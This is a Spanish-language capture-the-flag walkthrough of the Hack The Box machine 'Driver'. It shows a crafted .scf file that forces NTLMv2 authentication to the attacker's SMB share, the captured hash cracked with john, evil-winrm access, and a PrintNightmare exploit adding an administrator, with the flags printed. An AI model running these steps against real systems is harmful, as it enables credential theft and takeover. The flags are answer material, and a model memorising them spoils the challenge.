Driver [EASY🟢]
Dificultad: Fácil
1- Reconocimiento y escaneo
1.1 Ping
1.1 Ping
PING 10.10.11.106 (10.10.11.106) 56(84) bytes of data.
64 bytes from 10.10.11.106: icmp_seq=1 ttl=127 time=177 ms
--- 10.10.11.106 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 177.499/177.499/177.499/0.000 ms
Podemos notar que se trata de una maquina Windows, debido al TTL:
TTL <= 64 >>(Linux)
TTL <= 128 >> (Windows)
1.2 Nmap
1.2 Nmap
# Nmap 7.95 scan initiated Sun Mar 2 20:50:41 2025 as: /usr/lib/nmap/nmap -sS -sV -sC -p- -open --min-rate 5000 -Pn -vvv -oN escaneo.txt 10.10.11.106
Nmap scan report for 10.10.11.106
Host is up, received user-set (0.17s latency).
Scanned at 2025-03-02 20:50:41 -03 for 75s
Not shown: 65531 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE REASON VERSION
80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0
| http-methods:
| Supported Methods: OPTIONS TRACE GET HEAD POST
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
| http-auth:
| HTTP/1.1 401 Unauthorized\x0D
|_ Basic realm=MFP Firmware Update Center. Please enter password for admin
135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
Service Info: Host: DRIVER; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 18115/tcp): CLEAN (Timeout)
| Check 2 (port 40145/tcp): CLEAN (Timeout)
| Check 3 (port 26928/udp): CLEAN (Timeout)
| Check 4 (port 36721/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s
| smb2-time:
| date: 2025-03-03T06:51:18
|_ start_date: 2025-03-03T06:45:28
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
Read data files from: /usr/share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Mar 2 20:51:56 2025 -- 1 IP address (1 host up) scanned in 75.28 seconds
Se ven puertos comunes de Windows, como el 135, 139, y el 445(SMB), ademas del puerto 80 correspondiente a un servidor web(Microsoft IIS httpd 10.0)
1.3 whatweb
1.3 whatweb
http://10.10.11.106 [401 Unauthorized] Country[RESERVED][ZZ], HTTPServer[Microsoft-IIS/10.0], IP[10.10.11.106], Microsoft-IIS[10.0], PHP[7.3.25], WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic], X-Powered-By[PHP/7.3.25]
Tenemos tecnologías web como:
Microsoft IIS 10.0
PHP 7.3.25
1.4 Fuzzing
1.4 Fuzzing
wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.106/FUZZ
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# wfuzz -c --hc 404 -t 200 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.11.106/FUZZ
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning:Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information.
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.11.106/FUZZ
Total requests: 220560
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000002: 401 1 L 2 W 20 Ch "#"
000000203: 301 1 L 10 W 150 Ch "Images"
000003673: 301 1 L 10 W 150 Ch "IMAGES"
000000005: 401 1 L 2 W 20 Ch "# This work is licensed under the Creative Commons"
000000004: 401 1 L 2 W 20 Ch "#"
000000008: 401 1 L 2 W 20 Ch "# or send a letter to Creative Commons, 171 Second Street,"
000000006: 401 1 L 2 W 20 Ch "# Attribution-Share Alike 3.0 License. To view a copy of this"
000000009: 401 1 L 2 W 20 Ch "# Suite 300, San Francisco, California, 94105, USA."
000000010: 401 1 L 2 W 20 Ch "#"
000000011: 401 1 L 2 W 20 Ch "# Priority ordered case sensative list, where entries were found"
000000016: 301 1 L 10 W 150 Ch "images"
000000012: 401 1 L 2 W 20 Ch "# on atleast 2 different hosts"
000000014: 401 1 L 2 W 20 Ch "http://10.10.11.106/"
000000013: 401 1 L 2 W 20 Ch "#"
000000007: 401 1 L 2 W 20 Ch "# license, visit http://creativecommons.org/licenses/by-sa/3.0/"
000000003: 401 1 L 2 W 20 Ch "# Copyright 2007 James Fisher"
000000001: 401 1 L 2 W 20 Ch "# directory-list-2.3-medium.txt"
000045240: 401 1 L 2 W 20 Ch "http://10.10.11.106/"
Total time: 0
Processed Requests: 220560
Filtered Requests: 220542
Requests/sec.: 0
Dentro del fuzzing del directorio por default no encontramos nada relevante
2- Explotación
2.1 admin/admin
2.1 admin/admin
Vamos a irnos a la pagina web alojada en el puerto 80:

Nos pide unas credenciales mediante un panel de login(común en dispositivos IoT)
Si recordamos el escaneo de "whatweb" para ver las tecnologías web, nos vamos a encontrar con esto:
WWW-Authenticate[MFP Firmware Update Center. Please enter password for admin][Basic]
Nos da el usuario a ingresar, en este caso "admin"
, si probamos la contraseña default de la mayoría de dispositivos IoT, "admin"
y "admin"
:

Nos deja entrar y podemos ver que es una impresora que esta expuesta en internet con credenciales por default, esta aplicación web es el MFP Firmware Update Center
, ósea para actualizar el firmware de la impresora
Si nos vamos a "Firmware Updates"
:

Tenemos un formulario para subida de archivos dentro del servidor web
2.2 SCF(Shortcut File) en impresoras vía SMB
2.2 SCF(Shortcut File) en impresoras vía SMB
Podríamos pensar que ya como tenemos un formulario de subida de archivos en el servidor web, ya podemos subir un archivo PHP malicioso para obtener ejecución remota de comandos, pero este no es el caso, la intrusión a la maquina objetivo viene por otro lado, en este caso vamos a aprovecharnos de una vulnerabilidad llamada "SCF"
La vulnerabilidad SCF (Shortcut File)
en impresoras está relacionada con la explotación de archivos de acceso directo de Windows (.scf)
y afecta a dispositivos de impresión que tienen recursos compartidos en la red. Se aprovecha principalmente en entornos donde las impresoras tienen un servidor SMB (Server Message Block)
habilitado o comparten archivos en la red local.
Si recordamos en el escaneo de Nmap
, teníamos abierto el puerto 445 correspondiente a un servidor SMB, por lo que corresponde la vulnerabilidad SCF
2.2.1 ¿Cómo funciona la vulnerabilidad SCF?
2.2.1 ¿Cómo funciona la vulnerabilidad SCF?
Envío de un archivo malicioso: El atacante crea un archivo
.scf
modificado y lo almacena en la impresora (si tiene almacenamiento interno) o en un recurso compartido mayormente.Autenticación forzada (NTLM Relay): Cuando un usuario o el sistema accede a la impresora y abre el recurso compartido, el archivo
.scf
se ejecuta de manera automática. Este archivo puede apuntar a una ruta SMB controlada por el atacante.Robo de credenciales: Cuando el sistema intenta acceder a la ruta maliciosa, envía un hash NTLMv2 del usuario autenticado. El atacante puede capturar este hash y:
Realizar un ataque de Pass-the-Hash para acceder a otros sistemas.
Intentar crackear el hash para obtener la contraseña en texto claro.
Escalada de privilegios o movimiento lateral: Una vez que el atacante tiene las credenciales, puede moverse por la red, acceder a otros dispositivos o comprometer recursos más sensibles.
En este caso, la modalidad que vamos a ejercer es la segunda opción, vamos a obtener el Hash de NTLMv2 del usuario autenticado en cuestión
Pero... ¿Cómo sabemos que un usuario va a acceder al sistema?
En el mismo panel de actualización de Firmware lo indica:

"Nuestro equipo de pruebas revisará las cargas manualmente e iniciará las pruebas en breve. "
Así que vamos a crearnos un archivo ".SCF" para subirlo al servidor objetivo mediante SMB y obtener los hashes NTLMv2 teniendo en escucha la herramienta "responder"
En mi caso utilizare el siguiente archivo .SCF:
[Shell]
Command=2
IconFile=\\{IP VPN HTB}\{Ruta del recurso compartido}\{Archivo del recurso compartido}
[Taskbar]
Command=ToggleDesktop
En mi caso quedaria de la siguiente manera:
[Shell]
Command=2
IconFile=\\10.10.14.12\home\kali\ctf\driver\pwned.ico
[Taskbar]
Command=ToggleDesktop
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# nvim archivo.scf
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# cat archivo.scf
[Shell]
Command=2
IconFile=\\10.10.14.12\home\kali\ctf\driver\pwned.ico
[Taskbar]
Command=ToggleDesktop
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─#
Este archivo .SCF, es necesario que lo almacenemos dentro de una carpeta, asi que vamos a crear una carpeta y mover el archivo .SCF a la carpeta:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# mkdir carpeta
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# mv archivo.scf carpeta
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# cd carpeta
┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─# ls
archivo.scf
┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─#
Y ahora vamos a alojar un servidor SMB dentro de nuestro Kali, especificándole la ruta que le dimos al archivo .SCF
, esto lo hacemos con la herramienta de "impacket-smbserver"
con el siguiente comando:
impacket-smbserver {Nombre del recurso compartido} {Directorio a comportir} -smb2support
En mi caso quedaría de la siguiente manera:
impacket-smbserver recurso /home/kali/ctf/driver/carpeta -smb2support
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─# impacket-smbserver recurso /home/kali/ctf/driver/carpeta -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Y ahora vamos a subir el archivo .SCF
al formulario de subida de archivos dentro de la pagina web:

Una vez subido el archivo .SCF, volvemos a la shell donde teníamos el servidor SMB alojado y veremos el hash NTLMv2:
┌──(root㉿t0mz)-[/home/kali/ctf/driver/carpeta]
└─# impacket-smbserver recurso /home/kali/ctf/driver/carpeta -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.11.106,49414)
[*] AUTHENTICATE_MESSAGE (DRIVER\tony,DRIVER)
[*] User DRIVER\tony authenticated successfully
[*] tony::DRIVER:aaaaaaaaaaaaaaaa:4207edd08ad04a04c0449928fde81be5:010100000000000000037933e28bdb01ca96c04f61e5ec2800000000010010007a004400460068004d004b0068006e00030010007a004400460068004d004b0068006e000200100075006c004800610053004d00740041000400100075006c004800610053004d00740041000700080000037933e28bdb0106000400020000000800300030000000000000000000000000200000b662ba59c105c74714e18adac3c4f3284f4bee632db627cf5ddf4a2de991f6d90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003200000000000000000000000000
[*] Connecting Share(1:IPC$)
[-] SMB2_TREE_CONNECT not found home
[-] SMB2_TREE_CONNECT not found home
[*] Disconnecting Share(1:IPC$)
[*] Closing down connection (10.10.11.106,49414)
[*] Remaining connections []
El hash NTLMv2 es el siguiente:
tony::DRIVER:aaaaaaaaaaaaaaaa:4207edd08ad04a04c0449928fde81be5:010100000000000000037933e28bdb01ca96c04f61e5ec2800000000010010007a004400460068004d004b0068006e00030010007a004400460068004d004b0068006e000200100075006c004800610053004d00740041000400100075006c004800610053004d00740041000700080000037933e28bdb0106000400020000000800300030000000000000000000000000200000b662ba59c105c74714e18adac3c4f3284f4bee632db627cf5ddf4a2de991f6d90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003200000000000000000000000000
Ahora vamos a almacenar este hash NTLMv2 en un fichero de texto y a visualizarlo:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# nvim hash
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# cat hash
tony::DRIVER:aaaaaaaaaaaaaaaa:4207edd08ad04a04c0449928fde81be5:010100000000000000037933e28bdb01ca96c04f61e5ec2800000000010010007a004400460068004d004b0068006e00030010007a004400460068004d004b0068006e000200100075006c004800610053004d00740041000400100075006c004800610053004d00740041000700080000037933e28bdb0106000400020000000800300030000000000000000000000000200000b662ba59c105c74714e18adac3c4f3284f4bee632db627cf5ddf4a2de991f6d90a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310034002e0031003200000000000000000000000000
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─#
La contraseña esta hasheada, por lo que hay que aplicar fuerza bruta para obtener la contraseña en texto plano, para eso vamos a utilizar John The Ripper con el siguiente comando:
john --wordlist={Diccionario} {Archivo con hash}
En mi caso utilizare el diccionario "rockyou"
, de tal manera que el comando quedaría de la siguiente forma:
john --wordlist=/usr/share/wordlists/rockyou.txt hash
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8
Loaded 1 password hash (netntlmv2, NTLMv2 C/R [MD4 HMAC-MD5 32/64])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
liltony (tony)
1g 0:00:00:00 DONE (2025-03-02 23:25) 16.66g/s 529066p/s 529066c/s 529066C/s !!!!!!..225566
Use the "--show --format=netntlmv2" options to display all of the cracked passwords reliably
Session completed.
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─#
Ya tenemos las credenciales del usuario "tony":
Usuario: tony
Contraseña: liltony
Y ahora vamos a validar las credenciales para ver si tenemos acceso al servidor SMB con "crackmapexec"
con el siguiente comando:
crackmapexec {Servicio} {IP Objetivo} -u '{Usuario}' -p '{Contraseña}'
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# crackmapexec smb 10.10.11.106 -u 'tony' -p 'liltony'
SMB 10.10.11.106 445 DRIVER [*] Windows 10 Enterprise 10240 x64 (name:DRIVER) (domain:DRIVER) (signing:False) (SMBv1:True)
SMB 10.10.11.106 445 DRIVER [+] DRIVER\tony:liltony
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─#
2.3 Obtención de reverse shell con evil-winrm
2.3 Obtención de reverse shell con evil-winrm
Tambien vamos a validar con "crackmapexec"
si podemos acceder con estas credenciales mediante "evil-winrm"
:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# crackmapexec winrm 10.10.11.106 -u 'tony' -p 'liltony'
SMB 10.10.11.106 5985 DRIVER [*] Windows 10 Build 10240 (name:DRIVER) (domain:DRIVER)
HTTP 10.10.11.106 5985 DRIVER [*] http://10.10.11.106:5985/wsman
/usr/lib/python3/dist-packages/spnego/_ntlm_raw/crypto.py:46: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
arc4 = algorithms.ARC4(self._key)
WINRM 10.10.11.106 5985 DRIVER [+] DRIVER\tony:liltony (Pwn3d!)
Vemos que si es posible, asi que vamos a utilizar "evil-winrm" para conectarnos y obtener una shell de PowerShell con el siguiente comando:
evil-winrm -i {IP objetivo} -u '{Usuario}' -p '{Contraseña}'
De tal manera que:
evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# evil-winrm -i 10.10.11.106 -u 'tony' -p 'liltony'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\tony\Documents>
Ya tenemos una consola de PowerShell remota hacia la maquina de Hack The Box
2.4 Obtención de la flag user
2.4 Obtención de la flag user
La flag de user se encuentra dentro de la ruta absoluta "C:\Users\tony\Desktop\user.txt"
:
*Evil-WinRM* PS C:\Users\tony\Documents> type "C:\Users\tony\Desktop\user.txt"
517dbf0895247c9062580271eadb62e3
*Evil-WinRM* PS C:\Users\tony\Documents>
3- Escalado de privilegios
3.1 spoolsv.exe LPE
3.1 spoolsv.exe LPE
Si miramos los procesos que tenemos corriendo sobre la maquina con el comando "ps", veremos un proceso llamado "spoolsv":
*Evil-WinRM* PS C:\Users\tony\Documents> ps
Handles NPM(K) PM(K) WS(K) VM(M) CPU(s) Id ProcessName
------- ------ ----- ----- ----- ------ -- -----------
40 4 1892 1388 ...67 2.47 3024 cmd
113 10 10448 6760 ...45 4.20 2244 conhost
291 13 1172 4156 ...02 344 csrss
259 18 1168 4072 ...08 448 csrss
203 13 3308 12016 ...02 2264 dllhost
331 27 30764 49204 ...05 852 dwm
506 27 8776 30800 ...32 0.30 840 explorer
1404 59 16372 61092 ...67 25.53 2084 explorer
518 34 10168 35216 ...44 0.27 2592 explorer
503 27 8332 30624 ...32 0.31 2628 explorer
0 0 0 4 0 0 Idle
956 23 4924 14460 ...01 572 lsass
173 13 2328 8864 ...95 2432 msdtc
462 38 15268 43128 302 1.31 4328 OneDrive
55 6 724 3316 ...65 0.02 3008 PING
300 18 6696 23296 ...81 0.75 3168 RuntimeBroker
692 45 21732 26876 ...32 2672 SearchIndexer
742 47 29924 70584 33078 0.44 3548 SearchUI
185 12 2652 10484 ...02 976 sedsvc
247 10 2664 6424 ...75 564 services
603 29 13732 46528 244 0.55 3452 ShellExperienceHost
342 15 3340 17552 ...47 0.41 2984 sihost
49 3 332 1164 ...56 264 smss
379 22 5124 13824 ...12 1232 spoolsv
631 46 7272 19852 ...23 256 svchost
528 20 4928 16924 ...16 656 svchost
511 18 3368 8808 ...91 712 svchost
1292 52 15704 37528 ...19 808 svchost
211 16 1928 8252 ...96 860 svchost
561 26 10800 17676 ...37 868 svchost
421 21 4792 17680 ...46 968 svchost
757 26 5856 13940 ...37 1000 svchost
486 42 13580 24144 ...67 1400 svchost
275 18 4856 14684 ...07 1496 svchost
128 11 3072 9292 ...97 1536 svchost
179 15 3608 15092 ...58 1620 svchost
181 15 3460 9932 ...05 1692 svchost
172 12 2068 12288 ...26 0.06 1920 svchost
116 9 1280 6124 ...77 2600 svchost
99 7 1164 5960 ...87 4768 svchost
848 0 124 136 3 4 System
274 27 4492 13556 ...16 0.47 3012 taskhostw
138 11 2668 10408 ...22 1668 VGAuthService
108 7 1296 5500 ...06 1776 vm3dservice
100 8 1352 6008 ...28 1908 vm3dservice
332 23 8776 21400 ...52 1704 vmtoolsd
211 18 4964 15076 ...67 0.36 4224 vmtoolsd
85 8 820 4656 ...73 464 wininit
181 9 1636 8716 ...22 500 winlogon
325 18 9028 18592 ...96 2384 WmiPrvSE
1387 31 120528 140656 ...67 2.03 5004 wsmprovhost
219 10 1564 7152 ...92 1060 WUDFHost
*Evil-WinRM* PS C:\Users\tony\Documents>
379 22 5124 13824 ...12 1232 spoolsv
Mediante este proceso podemos realizar un LPE(Local Privilege Escalation), podemos utilizar varios exploits que se encuentran en GitHub, en mi caso utilizare un exploit de John Hammond
concretamente la vulnerabilidad publica CVE-2021-34527
:
Créditos al creador del repositorio
Asi que vamos a bajarnos con "wget" el archivo "CVE-2021-34527.ps1" para ejecutarlo en la reverse shell de PowerShell que obtuvimos con evil-winrm para ejecutar la escalada de privilegios
Lo que realiza este exploit es la creación de un nuevo usuario dentro de la maquina con un usuario y contraseña que nosotros le asignemos a los parámetros del exploit
wget https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/refs/heads/master/CVE-2021-34527.ps1
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# wget https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/refs/heads/master/CVE-2021-34527.ps1
--2025-03-02 23:58:50-- https://raw.githubusercontent.com/JohnHammond/CVE-2021-34527/refs/heads/master/CVE-2021-34527.ps1
Resolviendo raw.githubusercontent.com (raw.githubusercontent.com)... 185.199.109.133, 185.199.108.133, 185.199.110.133, ...
Conectando con raw.githubusercontent.com (raw.githubusercontent.com)[185.199.109.133]:443... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 178563 (174K) [text/plain]
Grabando a: «CVE-2021-34527.ps1»
CVE-2021-34527.ps1 100%[======================================================================>] 174,38K --.-KB/s en 0,03s
2025-03-02 23:58:50 (5,25 MB/s) - «CVE-2021-34527.ps1» guardado [178563/178563]
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─#
Y ahora vamos a alojar nuevamente un servidor SMB para pasarnos con el comando "copy" el archivo .ps1 del exploit:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# impacket-smbserver recurso $(pwd) -smb2support
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies
[*] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
[*] Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
Y para bajarnos el archivo dentro de la reverse shell PowerShell de evil-winrm utilizamos el siguiente comando:
copy \\{IP VPN HTB}\{Nombre del recurso}\{Archivo a bajar} {Nombre de salida del archivo}
En mi caso quedaría de la siguiente manera:
copy \\10.10.14.12\recurso\CVE-2021-34527.ps1 lpe.ps1
Ejecutamos:
*Evil-WinRM* PS C:\Users\tony\Documents> copy \\10.10.14.12\recurso\CVE-2021-34527.ps1 lpe.ps1
*Evil-WinRM* PS C:\Users\tony\Documents> dir
Directory: C:\Users\tony\Documents
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/2/2025 6:58 PM 178563 lpe.ps1
*Evil-WinRM* PS C:\Users\tony\Documents>
(Dentro de la carpeta "Documents" del usuario "tony", tenemos permisos de escritura y lectura)
Antes de importar el modulo del script "lpe.ps1", vamos a habilitar la importación de modulos con el siguiente comando:
Set-ExecutionPolicy RemoteSigned -scope CurrentUser
Ejecutamos
*Evil-WinRM* PS C:\Users\tony\Documents> Set-ExecutionPolicy RemoteSigned -scope CurrentUser
*Evil-WinRM* PS C:\Users\tony\Documents>
Y ahora vamos a importar el modulo del exploit que nos acabamos de bajar, en mi caso "lpe.ps1":
*Evil-WinRM* PS C:\Users\tony\Documents> Import-Module .\lpe.ps1
*Evil-WinRM* PS C:\Users\tony\Documents>
Una vez ya importado el modulo, vamos a crear un nuevo usuario desde PowerShell con las funciones del anterior modulo importado con el siguiente comando "Invoke-Nightmare"
:
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare
[+] using default new user: adm1n
[+] using default new password: P@ssw0rd
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Documents>
Se creo un usuario admin con las siguientes credenciales
user: adm1n
password: P@ssw0rd
Ademas de crearse el payload en formato .dll
Ahora vamos a crear un usuario que sea Administrator con el siguiente comando:
Invoke-Nightmare -DriverName "Xerox" -NewUser "{Username}" -NewPassword "{Password}"
En mi caso utilizare las siguientes credenciales:
Invoke-Nightmare -DriverName "Xerox" -NewUser "t0mz" -NewPassword "SuperSecure"
Ejecutamos:
*Evil-WinRM* PS C:\Users\tony\Documents> Invoke-Nightmare -DriverName "Xerox" -NewUser "t0mz" -NewPassword "SuperSecure"
[+] created payload at C:\Users\tony\AppData\Local\Temp\nightmare.dll
[+] using pDriverPath = "C:\Windows\System32\DriverStore\FileRepository\ntprint.inf_amd64_f66d9eed7e835e97\Amd64\mxdwdrv.dll"
[+] added user t0mz as local administrator
[+] deleting payload from C:\Users\tony\AppData\Local\Temp\nightmare.dll
*Evil-WinRM* PS C:\Users\tony\Documents>
User: t0mz
Password: SuperSecure
Ahora ya tenemos el usuario "t0mz" en mi caso, que ya pertenece al grupo de Administrators de esta maquina, asi que vamos a conectarnos con "evil-winrm" con estas credenciales:
evil-winrm -i 10.10.11.106 -u 't0mz' -p 'SuperSecure'
Ejecutamos:
┌──(root㉿t0mz)-[/home/kali/ctf/driver]
└─# evil-winrm -i 10.10.11.106 -u 't0mz' -p 'SuperSecure'
Evil-WinRM shell v3.7
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\t0mz\Documents>
Ya tenemos un usuario Administrator solamente por el fallo de seguridad del proceso "spoolsv.exe"
3.2 Obtención de la flag root
3.2 Obtención de la flag root
La flag de user se encuentra dentro de la ruta absoluta "C:\Users\Administrator\Desktop\root.txt"
:
*Evil-WinRM* PS C:\Users\t0mz\Documents> type "C:\Users\Administrator\Desktop\root.txt"
212278b7b87e4810c6d48dfbccf3db19
*Evil-WinRM* PS C:\Users\t0mz\Documents>
Con esto, concluimos la maquina "Driver" de Hack The Box
Espero te haya sido de ayuda este Write Up :)
Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis redes sociales
Última actualización